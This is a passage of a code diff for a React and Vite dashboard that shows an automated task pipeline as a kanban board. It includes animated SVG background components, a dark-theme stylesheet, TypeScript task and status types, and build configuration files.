<div className="stat-sub">verify + PR + CI</div>
</div>
<div className="stat">
<div className="stat-label violet">DONE</div>
<div className="stat-value">{completed + failed}</div>
<div className="stat-sub">merged + completed + failed</div>
</div>
</section>
{/* ── Toolbar ────────────────────── */}
<section className="toolbar">
<input
type="search"
placeholder="Filter by title, body, source, label, or task id..."
value={filter}
onChange={(e) => setFilter(e.target.value)}
/>
<div className="hint">
Reads <code>snapshot.json</code> no backend required
</div>
</section>
{/* ── Kanban Board ───────────────── */}
<section className="board">
{groupedColumns.map((group) => (
<GroupColumnView
key={group.key}
label={group.label}
color={group.color}
cards={group.cards}
/>
))}
</section>
{/* ── Journal ────────────────────── */}
<JournalView entries={snapshot.journal || []} />
</div>
</>
);
}
@@ -0,0 +1,181 @@
/**
* CyberHeroBackground — full-bleed animated SVG background for the kanban hero.
*
* Layers (back → front):
* 1. Radial teal glow
* 2. Perspective grid floor
* 3. Horizontal data-stream lines
* 4. Constellation nodes + edges
* 5. Data fragment segments
* 6. Binary / hex rain
* 7. Horizontal scan-line
*
* All SMIL-based — no JS animation loops needed.
*/
export function HeroBackground() {
const glyphs = [
{ x: 45, ch: "0", sz: 11, dur: 14, d: 0 },
{ x: 120, ch: "1", sz: 9, dur: 18, d: 3 },
{ x: 195, ch: "A", sz: 10, dur: 12, d: 7 },
{ x: 290, ch: "F", sz: 8, dur: 16, d: 1 },
{ x: 365, ch: "0", sz: 12, dur: 20, d: 5 },
{ x: 430, ch: "1", sz: 9, dur: 13, d: 9 },
{ x: 510, ch: "D", sz: 10, dur: 17, d: 2 },
{ x: 580, ch: "0", sz: 11, dur: 15, d: 6 },
{ x: 650, ch: "1", sz: 8, dur: 11, d: 4 },
{ x: 720, ch: "B", sz: 10, dur: 19, d: 8 },
{ x: 790, ch: "0", sz: 9, dur: 14, d: 1 },
{ x: 860, ch: "E", sz: 11, dur: 16, d: 10 },
{ x: 930, ch: "1", sz: 10, dur: 12, d: 3 },
{ x: 1000, ch: "C", sz: 8, dur: 18, d: 7 },
{ x: 1070, ch: "0", sz: 12, dur: 15, d: 0 },
{ x: 1140, ch: "7", sz: 9, dur: 13, d: 5 },
{ x: 260, ch: "3", sz: 8, dur: 22, d: 11 },
{ x: 475, ch: "F", sz: 10, dur: 16, d: 4 },
{ x: 690, ch: "8", sz: 9, dur: 20, d: 6 },
{ x: 1020, ch: "1", sz: 11, dur: 14, d: 8 },
];
const cn = [
{ x: 80, y: 55 },
{ x: 210, y: 30 },
{ x: 355, y: 80 },
{ x: 500, y: 45 },
{ x: 700, y: 68 },
{ x: 850, y: 28 },
{ x: 980, y: 60 },
{ x: 1120, y: 42 },
{ x: 145, y: 140 },
{ x: 420, y: 155 },
{ x: 780, y: 145 },
{ x: 1050, y: 130 },
];
const ce: [number, number][] = [
[0, 1], [1, 2], [2, 3], [3, 4], [4, 5], [5, 6], [6, 7],
[8, 9], [9, 10], [10, 11],
[0, 8], [3, 9], [4, 10], [7, 11],
];
const streams = [
{ y: 90, dash: "4 18", tot: 22, spd: 2.0, op: 0.07 },
{ y: 160, dash: "2 22", tot: 24, spd: 2.8, op: 0.05 },
{ y: 230, dash: "6 14", tot: 20, spd: 1.5, op: 0.08 },
{ y: 300, dash: "3 20", tot: 23, spd: 2.2, op: 0.06 },
{ y: 370, dash: "5 15", tot: 20, spd: 1.8, op: 0.07 },
];
const frags = [
{ x: 95, y: 120, w: 40 },
{ x: 310, y: 200, w: 30 },
{ x: 540, y: 280, w: 50 },
{ x: 760, y: 130, w: 35 },
{ x: 990, y: 250, w: 45 },
{ x: 180, y: 350, w: 30 },
{ x: 640, y: 380, w: 40 },
{ x: 1080, y: 330, w: 35 },
];
const gridY = [300, 325, 355, 390, 430];
const vx = 600;
const vy = 240;
const radials = [-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5];
return (
<svg
viewBox="0 0 1200 460"
preserveAspectRatio="xMidYMid slice"
style={{ width: "100%", height: "100%" }}
xmlns="http://www.w3.org/2000/svg"
aria-hidden="true"
>
<defs>
<radialGradient id="bg-glow" cx="50%" cy="35%" r="45%">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0.12" />
<stop offset="50%" stopColor="#00d4aa" stopOpacity="0.03" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</radialGradient>
<linearGradient id="bg-vfade" x1="0" y1="0" x2="0" y2="1">
<stop offset="0%" stopColor="white" stopOpacity="0" />
<stop offset="8%" stopColor="white" stopOpacity="1" />
<stop offset="88%" stopColor="white" stopOpacity="1" />
<stop offset="100%" stopColor="white" stopOpacity="0" />
</linearGradient>
<mask id="bg-mask">
<rect width="1200" height="460" fill="url(#bg-vfade)" />
</mask>
</defs>
{/* Central glow */}
<rect width="1200" height="460" fill="url(#bg-glow)" />
<g mask="url(#bg-mask)">
{/* 1. Perspective grid */}
{gridY.map((y, i) => (
<line key={`hg${i}`} x1="50" y1={y} x2="1150" y2={y}
stroke="#00d4aa" strokeOpacity={0.025 + i * 0.012} strokeWidth="1" />
))}
{radials.map((n) => (
<line key={`vg${n}`} x1={vx} y1={vy} x2={vx + n * 130} y2="460"
stroke="#00d4aa" strokeOpacity="0.025" strokeWidth="1" />
))}
{/* 2. Data streams */}
{streams.map((s, i) => (
<line key={`ds${i}`} x1="0" y1={s.y} x2="1200" y2={s.y}
stroke="#00d4aa" strokeOpacity={s.op} strokeWidth="1" strokeDasharray={s.dash}>
<animate attributeName="stroke-dashoffset" from="0" to={`-${s.tot}`}
dur={`${s.spd}s`} repeatCount="indefinite" />
</line>
))}
{/* 3. Constellation edges */}
{ce.map(([a, b], i) => (
<line key={`ce${i}`} x1={cn[a].x} y1={cn[a].y} x2={cn[b].x} y2={cn[b].y}
stroke="#00d4aa" strokeOpacity="0.06" strokeWidth="1" />
))}
{/* 4. Constellation nodes */}
{cn.map((n, i) => (
<circle key={`cn${i}`} cx={n.x} cy={n.y} r="2" fill="#00d4aa">
<animate attributeName="fill-opacity" values="0.1;0.35;0.1"
dur={`${2 + (i % 4) * 0.5}s`} begin={`${i * 0.3}s`} repeatCount="indefinite" />
<animate attributeName="r" values="1.5;3.5;1.5"
dur={`${2 + (i % 4) * 0.5}s`} begin={`${i * 0.3}s`} repeatCount="indefinite" />
</circle>
))}
{/* 5. Data fragments */}
{frags.map((f, i) => (
<line key={`fr${i}`} x1={f.x} y1={f.y} x2={f.x + f.w} y2={f.y}
stroke={i % 3 === 0 ? "#8b5cf6" : "#00d4aa"} strokeOpacity="0.08"
strokeWidth="1" strokeLinecap="round">
<animate attributeName="stroke-opacity" values="0.04;0.16;0.04"
dur={`${2.5 + (i % 3) * 0.7}s`} begin={`${i * 0.4}s`} repeatCount="indefinite" />
</line>
))}
{/* 6. Binary / hex rain */}
{glyphs.map((g, i) => (
<text key={`gl${i}`} x={g.x} y={-10} fontSize={g.sz}
fill={i % 7 === 0 ? "#8b5cf6" : i % 11 === 0 ? "#ff6b35" : "#00d4aa"}
fillOpacity="0" fontFamily="JetBrains Mono, monospace" fontWeight="600" letterSpacing="0.6">
{g.ch}
<animateTransform attributeName="transform" type="translate"
from="0 0" to="0 480" dur={`${g.dur}s`} begin={`${g.d}s`} repeatCount="indefinite" />
<animate attributeName="fill-opacity" values="0;0.2;0.2;0"
keyTimes="0;0.08;0.85;1" dur={`${g.dur}s`} begin={`${g.d}s`} repeatCount="indefinite" />
</text>
))}
{/* 7. Scan-line */}
<line x1="0" y1="0" x2="1200" y2="0" stroke="#00d4aa" strokeOpacity="0" strokeWidth="1">
<animateTransform attributeName="transform" type="translate"
from="0 0" to="0 460" dur="6s" repeatCount="indefinite" />
<animate attributeName="stroke-opacity" values="0;0.16;0.16;0"
keyTimes="0;0.04;0.96;1" dur="6s" repeatCount="indefinite" />
</line>
</g>
</svg>
);
}
@@ -0,0 +1,223 @@
/**
* PipelineAnimation — a rich, orbital visualization of the autopilot pipeline.
*
* Central hub surrounded by 5 stage nodes in a circuit layout, with
* data packets flowing through connecting paths, background grid,
* ambient particles, and pulsing energy rings. Fills the entire
* container with minimal dead space.
*/
export function PipelineAnimation() {
const cx = 200;
const cy = 105;
const rx = 145;
const ry = 65;
const stages = [
{ label: "QUEUE", angle: Math.PI },
{ label: "PREP", angle: Math.PI + Math.PI * 2 / 5 },
{ label: "RUN", angle: Math.PI + (Math.PI * 2 / 5) * 2 },
{ label: "CHECK", angle: Math.PI + (Math.PI * 2 / 5) * 3 },
{ label: "MERGE", angle: Math.PI + (Math.PI * 2 / 5) * 4 },
].map((s) => ({
...s,
x: cx + Math.cos(s.angle) * rx,
y: cy + Math.sin(s.angle) * ry,
}));
// Build the orbital path for traveling packets
const orbitPath = stages
.map((s, i) => `${i === 0 ? "M" : "L"} ${s.x.toFixed(1)} ${s.y.toFixed(1)}`)
.join(" ") + " Z";
// Ambient floating particles
const particles = [
{ x: 40, y: 30, r: 1.2, dur: 3, d: 0 },
{ x: 340, y: 50, r: 0.8, dur: 4, d: 1 },
{ x: 80, y: 170, r: 1, dur: 3.5, d: 2 },
{ x: 320, y: 160, r: 1.3, dur: 2.8, d: 0.5 },
{ x: 170, y: 25, r: 0.7, dur: 4.2, d: 1.5 },
{ x: 250, y: 185, r: 0.9, dur: 3.2, d: 3 },
{ x: 120, y: 100, r: 0.6, dur: 5, d: 2.5 },
{ x: 300, y: 110, r: 1.1, dur: 3.8, d: 0.8 },
{ x: 50, y: 120, r: 0.8, dur: 4.5, d: 1.2 },
{ x: 370, y: 90, r: 0.7, dur: 3.6, d: 2.2 },
];
// Background grid lines
const hLines = [35, 70, 105, 140, 175];
const vLines = [40, 80, 120, 160, 200, 240, 280, 320, 360];
return (
<svg
viewBox="0 0 400 210"
xmlns="http://www.w3.org/2000/svg"
aria-label="Autopilot pipeline"
style={{ width: "100%", height: "100%" }}
preserveAspectRatio="xMidYMid meet"
>
<defs>
<radialGradient id="pipe-glow" cx="50%" cy="50%" r="50%">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0.85" />
<stop offset="40%" stopColor="#00d4aa" stopOpacity="0.3" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</radialGradient>
<radialGradient id="hub-glow" cx="50%" cy="50%" r="50%">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0.2" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</radialGradient>
<radialGradient id="node-glow" cx="50%" cy="50%" r="50%">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0.15" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</radialGradient>
<linearGradient id="edge-fade" x1="0" y1="0" x2="1" y2="0">
<stop offset="0%" stopColor="#00d4aa" stopOpacity="0" />
<stop offset="50%" stopColor="#00d4aa" stopOpacity="0.25" />
<stop offset="100%" stopColor="#00d4aa" stopOpacity="0" />
</linearGradient>
</defs>
{/* Background grid */}
{hLines.map((y, i) => (
<line key={`h${i}`} x1="0" y1={y} x2="400" y2={y}
stroke="#00d4aa" strokeOpacity="0.04" strokeWidth="1" />
))}
{vLines.map((x, i) => (
<line key={`v${i}`} x1={x} y1="0" x2={x} y2="210"
stroke="#00d4aa" strokeOpacity="0.04" strokeWidth="1" />
))}
{/* Central radial glow */}
<circle cx={cx} cy={cy} r="80" fill="url(#hub-glow)" />
{/* Orbital ring (background) */}
<path d={orbitPath} fill="none" stroke="#00d4aa" strokeOpacity="0.08" strokeWidth="1" />
{/* Animated dashed orbital ring */}
<path d={orbitPath} fill="none" stroke="#00d4aa" strokeOpacity="0.18"
strokeWidth="1" strokeDasharray="4 8">
<animate attributeName="stroke-dashoffset" values="0;-24" dur="2s" repeatCount="indefinite" />
</path>
{/* Spokes from center to each node */}
{stages.map((s, i) => (
<g key={`spoke-${i}`}>
<line x1={cx} y1={cy} x2={s.x} y2={s.y}
stroke="#00d4aa" strokeOpacity="0.06" strokeWidth="1" />
{/* Data pulse along spoke */}
<circle r="1.5" fill="#00d4aa">
<animateMotion
dur="2s"
begin={`${i * 0.4}s`}
repeatCount="indefinite"
path={`M ${cx} ${cy} L ${s.x} ${s.y}`}
/>
<animate attributeName="opacity" values="0;0.8;0.8;0"
keyTimes="0;0.1;0.8;1" dur="2s" begin={`${i * 0.4}s`} repeatCount="indefinite" />
</circle>
</g>
))}
{/* Stage nodes */}
{stages.map((s, i) => {
const colors = ["#64748b", "#0f766e", "#00d4aa", "#3b82f6", "#8b5cf6"];
const c = colors[i];
return (
<g key={s.label}>
{/* Node glow */}
<circle cx={s.x} cy={s.y} r="28" fill="url(#node-glow)" />
{/* Outer ring */}
<circle cx={s.x} cy={s.y} r="18" fill="#0a0a0a"
stroke={c} strokeOpacity="0.5" strokeWidth="1" />
{/* Corner brackets */}
<g stroke={c} strokeOpacity="0.7" strokeWidth="1" strokeLinecap="round">
<path d={`M ${s.x-13} ${s.y-13} l 5 0 M ${s.x-13} ${s.y-13} l 0 5`} />
<path d={`M ${s.x+13} ${s.y-13} l -5 0 M ${s.x+13} ${s.y-13} l 0 5`} />
<path d={`M ${s.x-13} ${s.y+13} l 5 0 M ${s.x-13} ${s.y+13} l 0 -5`} />
<path d={`M ${s.x+13} ${s.y+13} l -5 0 M ${s.x+13} ${s.y+13} l 0 -5`} />
</g>
{/* Inner pulsing dot */}
<circle cx={s.x} cy={s.y} r="4" fill={c}>
<animate attributeName="r" values="4;6;4" dur="2.4s"
begin={`${i * 0.5}s`} repeatCount="indefinite" />
<animate attributeName="opacity" values="0.5;1;0.5" dur="2.4s"
begin={`${i * 0.5}s`} repeatCount="indefinite" />
</circle>
{/* Expanding pulse ring */}
<circle cx={s.x} cy={s.y} r="18" fill="none" stroke={c} strokeWidth="1">
<animate attributeName="r" values="18;30" dur="3s"
begin={`${i * 0.6}s`} repeatCount="indefinite" />
<animate attributeName="opacity" values="0.45;0" dur="3s"
begin={`${i * 0.6}s`} repeatCount="indefinite" />
</circle>
{/* Label */}
<text x={s.x} y={s.y + 30} fontSize="7" fill={c} fillOpacity="0.7"
textAnchor="middle" fontFamily="JetBrains Mono, monospace"
letterSpacing="1.5" fontWeight="700">
{s.label}
</text>
</g>
);
})}
{/* Central hub */}
<circle cx={cx} cy={cy} r="14" fill="#0a0a0a" stroke="#00d4aa" strokeOpacity="0.6" strokeWidth="1.2" />
<circle cx={cx} cy={cy} r="14" fill="none" stroke="#00d4aa" strokeWidth="1">
<animate attributeName="r" values="14;22" dur="2.4s" repeatCount="indefinite" />
<animate attributeName="opacity" values="0.4;0" dur="2.4s" repeatCount="indefinite" />
</circle>
{/* Hub icon — infinity / loop symbol */}
<text x={cx} y={cy + 4} fontSize="11" fill="#00d4aa" fillOpacity="0.9"
textAnchor="middle" fontFamily="JetBrains Mono, monospace" fontWeight="700">
&#x221E;
</text>
{/* Traveling packet 1 — clockwise */}
<circle r="16" fill="url(#pipe-glow)" opacity="0.6">
<animateMotion dur="5s" repeatCount="indefinite" path={orbitPath} rotate="auto" />
</circle>
<circle r="3.5" fill="#00d4aa">
<animateMotion dur="5s" repeatCount="indefinite" path={orbitPath} rotate="auto" />
<animate attributeName="r" values="3.5;2.5;3.5" dur="1s" repeatCount="indefinite" />
</circle>
{/* Traveling packet 2 — offset, different speed */}
<circle r="10" fill="url(#pipe-glow)" opacity="0.35">
<animateMotion dur="7s" begin="2.5s" repeatCount="indefinite" path={orbitPath} rotate="auto" />
</circle>
<circle r="2" fill="#8b5cf6">
<animateMotion dur="7s" begin="2.5s" repeatCount="indefinite" path={orbitPath} rotate="auto" />
<animate attributeName="opacity" values="0.4;1;0.4" dur="2s" repeatCount="indefinite" />
</circle>
{/* Ambient particles */}
{particles.map((p, i) => (
<circle key={`p${i}`} cx={p.x} cy={p.y} r={p.r}
fill={i % 3 === 0 ? "#8b5cf6" : "#00d4aa"}>
<animate attributeName="opacity" values="0.05;0.25;0.05"
dur={`${p.dur}s`} begin={`${p.d}s`} repeatCount="indefinite" />
<animate attributeName="r" values={`${p.r};${p.r * 1.5};${p.r}`}
dur={`${p.dur}s`} begin={`${p.d}s`} repeatCount="indefinite" />
</circle>
))}
{/* Scan line */}
<line x1="0" y1="0" x2="400" y2="0" stroke="#00d4aa" strokeOpacity="0" strokeWidth="1">
<animateTransform attributeName="transform" type="translate"
from="0 0" to="0 210" dur="4s" repeatCount="indefinite" />
<animate attributeName="stroke-opacity" values="0;0.12;0.12;0"
keyTimes="0;0.05;0.95;1" dur="4s" repeatCount="indefinite" />
</line>
{/* Bottom caption */}
<text x={cx} y="204" fontSize="7" fill="#00d4aa" fillOpacity="0.4"
textAnchor="middle" fontFamily="JetBrains Mono, monospace" letterSpacing="2.5">
AUTOPILOT · PIPELINE
</text>
</svg>
);
}
+546
View File
@@ -0,0 +1,546 @@
/* ─── AnyFS-inspired dark cyberpunk theme ─────────── */
:root {
--bg: #0a0a0a;
--bg-surface: #111111;
--bg-elevated: #1a1a1a;
--ink: #ffffff;
--ink-secondary: #888888;
--accent: #00d4aa;
--accent-light: #00f0c0;
--accent-orange: #ff6b35;
--accent-violet: #8b5cf6;
--muted: #666666;
--line: #222222;
--line-bright: #333333;
--success: #00d4aa;
--error: #ff4444;
--warning: #ffaa00;
--mono: "JetBrains Mono", "Fira Code", ui-monospace, "Cascadia Code", monospace;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
html { scroll-behavior: smooth; }
body {
background: var(--bg);
color: var(--ink);
font-family: var(--mono);
font-size: 13px;
line-height: 1.6;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
min-height: 100vh;
}
::selection {
background: rgba(0, 212, 170, 0.25);
color: #fff;
}
/* ─── Scrollbar ──────────────────────────────── */
::-webkit-scrollbar { width: 4px; height: 4px; }
::-webkit-scrollbar-track { background: transparent; }
::-webkit-scrollbar-thumb { background: #333; border-radius: 2px; }
::-webkit-scrollbar-thumb:hover { background: #555; }
/* ─── Shell ──────────────────────────────────── */
.shell {
max-width: 1600px;
margin: 0 auto;
padding: 0 20px 56px;
}
/* ─── Hero Section ───────────────────────────── */
.hero {
position: relative;
overflow: hidden;
margin: 0 -20px;
padding: 60px 20px 40px;
min-height: 340px;
}
.hero-bg {
position: absolute;
inset: 0;
pointer-events: none;
}
.hero-content {
position: relative;
z-index: 1;
display: grid;
grid-template-columns: 1.4fr 1fr;
gap: 24px;
max-width: 1600px;
margin: 0 auto;
}
.hero-main { padding: 8px; }
.eyebrow {
display: inline-flex;
gap: 8px;
align-items: center;
font-size: 10px;
letter-spacing: 3px;
text-transform: uppercase;
color: var(--accent);
font-weight: 700;
margin-bottom: 20px;
}
.hero h1 {
font-size: clamp(32px, 4.5vw, 56px);
font-weight: 700;
letter-spacing: 2px;
line-height: 1.1;
margin-bottom: 16px;
}
.hero h1 .accent { color: var(--accent); }
.hero-sub {
color: var(--muted);
font-size: 12px;
line-height: 1.8;
max-width: 52ch;
margin-bottom: 24px;
}
.focus-box {
padding: 16px;
border-radius: 6px;
background: rgba(0, 212, 170, 0.06);
border: 1px solid rgba(0, 212, 170, 0.15);
}
.focus-box .focus-label {
font-size: 10px;
letter-spacing: 2px;
text-transform: uppercase;
color: var(--accent);
font-weight: 700;
margin-bottom: 8px;
}
.focus-box .focus-text {
font-size: 12px;
color: var(--ink-secondary);
line-height: 1.6;
}
.hero-side {
display: flex;
flex-direction: column;
gap: 16px;
padding: 8px;
}
.hero-timestamp {
font-size: 10px;
letter-spacing: 1px;
color: var(--muted);
}
/* ─── Stats Bar ──────────────────────────────── */
.stats-bar {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 1px;
background: var(--line);
border-radius: 6px;
overflow: hidden;
margin-bottom: 24px;
}
.stat {
background: var(--bg-surface);
padding: 20px;
text-align: center;
transition: background 0.2s ease;
}
.stat:hover {
background: var(--bg-elevated);
}
.stat-label {
font-size: 10px;
letter-spacing: 2px;
text-transform: uppercase;
font-weight: 700;
margin-bottom: 8px;
}
.stat-label.teal { color: var(--accent); }
.stat-label.orange { color: var(--accent-orange); }
.stat-label.violet { color: var(--accent-violet); }
.stat-value {
font-size: 32px;
font-weight: 700;
letter-spacing: -1px;
line-height: 1;
}
.stat-sub {
font-size: 10px;
color: #444;
margin-top: 6px;
letter-spacing: 1px;
}
/* ─── Toolbar ────────────────────────────────── */
.toolbar {
display: flex;
gap: 12px;
align-items: center;
justify-content: space-between;
padding: 16px 20px;
margin-bottom: 20px;
background: var(--bg-elevated);
border: 1px solid var(--line);
border-radius: 6px;
flex-wrap: wrap;
}
.toolbar input {
flex: 1;
min-width: min(400px, 100%);
height: 2.5rem;
padding: 0 14px;
background: var(--bg);
border: 1px solid var(--line-bright);
border-radius: 4px;
font-family: var(--mono);
font-size: 12px;
color: var(--ink);
transition: all 0.2s ease;
}
.toolbar input::placeholder { color: #444; }
.toolbar input:focus {
outline: none;
border-color: var(--accent);
box-shadow: 0 0 0 2px rgba(0, 212, 170, 0.1);
}
.toolbar .hint {
font-size: 11px;
color: var(--muted);
letter-spacing: 0.5px;
}
.toolbar .hint code {
color: var(--accent);
font-size: 11px;
}
/* ─── Board ──────────────────────────────────── */
.board {
display: grid;
grid-template-columns: repeat(4, 1fr);
gap: 16px;
margin-bottom: 24px;
}
/* ─── Column ─────────────────────────────────── */
.column {
background: var(--bg-elevated);
border: 1px solid var(--line);
border-radius: 6px;
padding: 16px;
min-height: 200px;
}
.column-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 14px;
padding-bottom: 12px;
border-bottom: 1px solid var(--line);
}
.column-title-row {
display: flex;
align-items: center;
gap: 8px;
}
.column-dot {
width: 8px;
height: 8px;
border-radius: 50%;
flex-shrink: 0;
}
.column-header h2 {
font-size: 12px;
font-weight: 700;
letter-spacing: 1.5px;
text-transform: uppercase;
}
.column-count {
font-size: 10px;
font-weight: 600;
letter-spacing: 1px;
padding: 2px 8px;
border-radius: 3px;
background: rgba(255, 255, 255, 0.04);
border: 1px solid var(--line);
color: var(--ink-secondary);
}
.cards { display: grid; gap: 10px; }
/* ─── Card ───────────────────────────────────── */
.card {
background: var(--bg-surface);
border: 1px solid var(--line);
border-radius: 6px;
padding: 14px;
transition: all 0.2s ease;
position: relative;
overflow: hidden;
}
.card::before {
content: "";
position: absolute;
top: 0;
left: 0;
width: 3px;
height: 100%;
background: var(--card-accent, var(--line-bright));
}
.card:hover {
border-color: var(--line-bright);
box-shadow: 0 0 20px color-mix(in srgb, var(--card-accent, var(--accent)) 12%, transparent);
transform: translateY(-1px);
}
.card-meta {
display: flex;
justify-content: space-between;
gap: 8px;
font-size: 10px;
color: var(--muted);
margin-bottom: 8px;
letter-spacing: 0.5px;
}
.card h3 {
font-size: 13px;
font-weight: 600;
line-height: 1.4;
margin-bottom: 8px;
letter-spacing: 0.3px;
}
.card-body {
font-size: 11px;
color: var(--muted);
line-height: 1.6;
margin-bottom: 10px;
white-space: pre-wrap;
word-break: break-word;
}
.card-tags {
display: flex;
gap: 4px;
flex-wrap: wrap;
margin-bottom: 10px;
}
.tag {
display: inline-flex;
align-items: center;
padding: 2px 8px;
font-size: 9px;
font-weight: 600;
letter-spacing: 1px;
text-transform: uppercase;
border-radius: 3px;
background: rgba(255, 255, 255, 0.04);
color: var(--ink-secondary);
border: 1px solid var(--line);
}
.card-footer {
border-top: 1px solid var(--line);
padding-top: 10px;
display: grid;
gap: 4px;
font-size: 10px;
color: #555;
letter-spacing: 0.3px;
}
/* ─── Status badges for column headers ────── */
.badge {
display: inline-flex;
align-items: center;
padding: 2px 10px;
font-size: 10px;
font-weight: 600;
letter-spacing: 1px;
text-transform: uppercase;
border-radius: 3px;
}
.badge-teal {
background: rgba(0, 212, 170, 0.1);
color: var(--accent);
border: 1px solid rgba(0, 212, 170, 0.2);
}
.badge-orange {
background: rgba(255, 107, 53, 0.1);
color: var(--accent-orange);
border: 1px solid rgba(255, 107, 53, 0.2);
}
.badge-violet {
background: rgba(139, 92, 246, 0.1);
color: var(--accent-violet);
border: 1px solid rgba(139, 92, 246, 0.2);
}
.badge-red {
background: rgba(255, 68, 68, 0.1);
color: #ff6666;
border: 1px solid rgba(255, 68, 68, 0.2);
}
.badge-blue {
background: rgba(59, 130, 246, 0.1);
color: #60a5fa;
border: 1px solid rgba(59, 130, 246, 0.2);
}
.badge-amber {
background: rgba(255, 170, 0, 0.1);
color: #ffaa00;
border: 1px solid rgba(255, 170, 0, 0.2);
}
.badge-gray {
background: rgba(255, 255, 255, 0.04);
color: #888;
border: 1px solid var(--line);
}
/* ─── Journal ────────────────────────────────── */
.journal {
background: var(--bg-elevated);
border: 1px solid var(--line);
border-radius: 6px;
padding: 20px;
}
.journal-header {
display: flex;
align-items: center;
gap: 12px;
margin-bottom: 16px;
padding-bottom: 14px;
border-bottom: 1px solid var(--line);
}
.journal-header h2 {
font-size: 12px;
font-weight: 700;
letter-spacing: 2px;
text-transform: uppercase;
}
.journal-list { display: grid; gap: 8px; }
.journal-item {
padding: 12px 14px;
border-radius: 4px;
border: 1px solid var(--line);
background: var(--bg-surface);
transition: background 0.15s ease;
}
.journal-item:hover { background: var(--bg-elevated); }
.journal-item time {
font-size: 10px;
color: var(--muted);
letter-spacing: 0.5px;
display: inline-block;
margin-bottom: 4px;
}
.journal-item .kind {
font-weight: 700;
color: var(--accent);
font-size: 11px;
letter-spacing: 0.5px;
}
.journal-item .task-ref {
color: var(--accent-violet);
font-size: 11px;
}
.journal-item .summary {
font-size: 12px;
color: var(--ink-secondary);
line-height: 1.5;
}
.empty {
color: var(--muted);
font-style: italic;
padding: 16px 4px;
font-size: 12px;
letter-spacing: 0.5px;
}
/* ─── Pipeline Animation (hero side) ─────────── */
.pipeline-viz {
background: var(--bg-elevated);
border: 1px solid var(--line);
border-radius: 6px;
overflow: hidden;
flex: 1;
}
/* ─── Animations ─────────────────────────────── */
@keyframes fade-in {
from { opacity: 0; transform: translateY(8px); }
to { opacity: 1; transform: translateY(0); }
}
@keyframes glow-pulse {
0%, 100% { box-shadow: 0 0 12px rgba(0, 212, 170, 0.08); }
50% { box-shadow: 0 0 24px rgba(0, 212, 170, 0.16); }
}
.animate-fade-in {
animation: fade-in 0.4s ease-out forwards;
}
/* ─── Responsive ─────────────────────────────── */
@media (max-width: 1100px) {
.hero-content { grid-template-columns: 1fr; }
.stats-bar { grid-template-columns: repeat(2, 1fr); }
.board { grid-template-columns: repeat(2, 1fr); }
}
@media (max-width: 760px) {
.shell { padding: 0 12px 36px; }
.hero { padding: 40px 12px 28px; margin: 0 -12px; }
.board { grid-template-columns: 1fr; }
.stats-bar { grid-template-columns: 1fr 1fr; }
.toolbar input { min-width: 100%; }
}
+10
View File
@@ -0,0 +1,10 @@
import { StrictMode } from "react";
import { createRoot } from "react-dom/client";
import "./index.css";
import { App } from "./App";
createRoot(document.getElementById("root")!).render(
<StrictMode>
<App />
</StrictMode>,
);
+84
View File
@@ -0,0 +1,84 @@
export interface TaskCard {
id: string;
title: string;
body?: string;
status: string;
score: number;
score_reasons?: string[];
source_kind?: string;
source_ref?: string;
labels?: string[];
updated_at?: number;
metadata?: {
last_note?: string;
last_ci_summary?: string;
last_failure_summary?: string;
human_gate_pending?: boolean;
verification_steps?: { status: string; command: string }[];
};
}
export interface JournalEntry {
timestamp: number;
kind: string;
task_id?: string;
summary: string;
}
export interface Snapshot {
generated_at: number;
repo_name: string;
focus?: TaskCard;
counts: Record<string, number>;
status_order: string[];
columns: Record<string, TaskCard[]>;
cards: TaskCard[];
journal: JournalEntry[];
}
export const STATUS_LABELS: Record<string, string> = {
queued: "Queued",
accepted: "Accepted",
preparing: "Preparing",
running: "Running",
verifying: "Verifying",
pr_open: "PR Open",
waiting_ci: "Waiting CI",
repairing: "Repairing",
completed: "Completed",
merged: "Merged",
failed: "Failed",
rejected: "Rejected",
superseded: "Superseded",
};
export const STATUS_COLORS: Record<string, string> = {
queued: "#64748b",
accepted: "#8b5cf6",
preparing: "#0f766e",
running: "#00d4aa",
verifying: "#3b82f6",
pr_open: "#8b5cf6",
waiting_ci: "#3b82f6",
repairing: "#ff6b35",
completed: "#00d4aa",
merged: "#00d4aa",
failed: "#ff4444",
rejected: "#ff4444",
superseded: "#ffaa00",
};
/** Grouped kanban columns — vibe-kanban style */
export interface KanbanGroup {
key: string;
label: string;
color: string;
statuses: string[];
}
export const KANBAN_GROUPS: KanbanGroup[] = [
{ key: "todo", label: "To Do", color: "#64748b", statuses: ["queued", "accepted"] },
{ key: "in_progress", label: "In Progress", color: "#00d4aa", statuses: ["preparing", "running", "repairing"] },
{ key: "in_review", label: "In Review", color: "#3b82f6", statuses: ["verifying", "pr_open", "waiting_ci"] },
{ key: "done", label: "Done", color: "#8b5cf6", statuses: ["completed", "merged", "failed", "rejected", "superseded"] },
];
+1
View File
@@ -0,0 +1 @@
/// <reference types="vite/client" />
+22
View File
@@ -0,0 +1,22 @@
{
"compilerOptions": {
"tsBuildInfoFile": "./node_modules/.tmp/tsconfig.app.tsBuildInfo",
"target": "ES2020",
"useDefineForClassFields": true,
"lib": ["ES2020", "DOM", "DOM.Iterable"],
"module": "ESNext",
"skipLibCheck": true,
"moduleResolution": "bundler",
"allowImportingTsExtensions": true,
"isolatedModules": true,
"moduleDetection": "force",
"noEmit": true,
"jsx": "react-jsx",
"strict": true,
"noUnusedLocals": true,
"noUnusedParameters": true,
"noFallthroughCasesInSwitch": true,
"noUncheckedSideEffectImports": true
},
"include": ["src"]
}
+4
View File
@@ -0,0 +1,4 @@
{
"files": [],
"references": [{ "path": "./tsconfig.app.json" }]
}
+11
View File
@@ -0,0 +1,11 @@
import { defineConfig } from "vite";
import react from "@vitejs/plugin-react";
export default defineConfig({
plugins: [react()],
base: "./",
build: {
outDir: "../docs/autopilot",
emptyOutDir: false,
},
});
+80
View File
@@ -0,0 +1,80 @@
